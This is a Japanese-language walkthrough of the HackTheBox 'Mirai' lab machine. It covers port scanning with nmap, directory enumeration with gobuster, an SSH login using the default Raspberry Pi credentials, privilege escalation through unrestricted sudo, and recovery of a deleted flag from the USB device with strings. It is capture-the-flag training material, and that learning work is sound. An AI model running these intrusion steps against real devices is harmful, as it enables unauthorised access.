🔥
HackTheBox Mirai
Mirai
侵入
nmap
ポートスキャン
┌──(kali㉿kali)-[~/Desktop/Mirai]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.48 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
53/tcp open domain syn-ack ttl 63 dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http syn-ack ttl 63 lighttpd 1.4.35
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
2045/tcp open upnp syn-ack ttl 63 Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open http syn-ack ttl 63 Plex Media Server httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-favicon: Plex
|_http-title: Unauthorized
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
32469/tcp open upnp syn-ack ttl 63 Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50
22、53、80、2045、32400、32469番ポートを確認
web
80番はアクセスできなかったため、32400番にアクセスしてみる
ログイン画面を確認。Burp suite により Plex 3.9.1であることも確認できた。
gobuster
ディレクトリ探索を行う
┌──(kali㉿kali)-[~/Desktop/Mirai]
└─$ gobuster dir -u http://10.10.10.48/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.48/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/19 15:33:55 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 0] [--> http://10.10.10.48/admin/]
/swfobject.js (Status: 200) [Size: 61]
===============================================================
2022/09/19 15:36:31 Finished
===============================================================
admin を発見
admin
Pi-hole の admin console が表示された
ログイン画面も発見。バージョンが 3.1.4 であることも確認できた
pi としてのシェル
SSH
特に有力な情報を得ることができなかったので、pi-hole のデフォルトパスワードを試してみる
┌──(kali㉿kali)-[~/Desktop/Mirai]
└─$ ssh pi@10.10.10.48
pi@10.10.10.48's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
pi@raspberrypi:~ $ whoami
pi
SSH 接続が成功した
user フラグ
pi@raspberrypi:~/Desktop $ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
権限昇格
sudo
pi@raspberrypi:~/Desktop $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
sudo が実行できた
root としてのシェル
su
pi@raspberrypi:~ $ sudo su
root@raspberrypi:/home/pi# whoami
root
権限昇格成功
USB
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
root.txt を失ってしまったらしい。USB にバックアップがあるとのこと
USB を接続する際は、/media にマウントされるので、/media にアクセスしてみる
root@raspberrypi:/media# ls -l
total 1
drwxr-xr-x 3 root root 1024 Aug 14 2017 usbstick
root@raspberrypi:/media# cd usbstick
root@raspberrypi:/media/usbstick# ls -l
total 13
-rw-r--r-- 1 root root 129 Aug 14 2017 damnit.txt
drwx------ 2 root root 12288 Aug 14 2017 lost+found
damnit.txt を発見
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
どうやら、USB メモリからもファイルを削除してしまったようだ
lsblk
こういう時は、デバイスファイルを確認
root@raspberrypi:~# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 10G 0 disk
├─sda1 8:1 0 1.3G 0 part /lib/live/mount/persistence/sda1
└─sda2 8:2 0 8.7G 0 part /lib/live/mount/persistence/sda2
sdb 8:16 0 10M 0 disk /media/usbstick
sr0 11:0 1 1024M 0 rom
loop0 7:0 0 1.2G 1 loop /lib/live/mount/rootfs/filesystem.squashfs
usbstick は sdb として扱われることがわかる
root フラグ
あとは、strings または hexdump を使用し、フラグを取得する
root@raspberrypi:~# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # フラグ
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
フラグ取得成功
所感
今回のボックスは、Mirai というマルウェアが関係していたようだ。当マルウェアは、IoT デバイスの初期設定が主因となっていたので、今回のボックスでも raspberrypi の初期パスワードが使われたのだろう。あまり初期パスワードで、認証を突破できる機会は少ないかもしれないが、見落とさず、しっかりと確認していくように心がけたい。
Discussion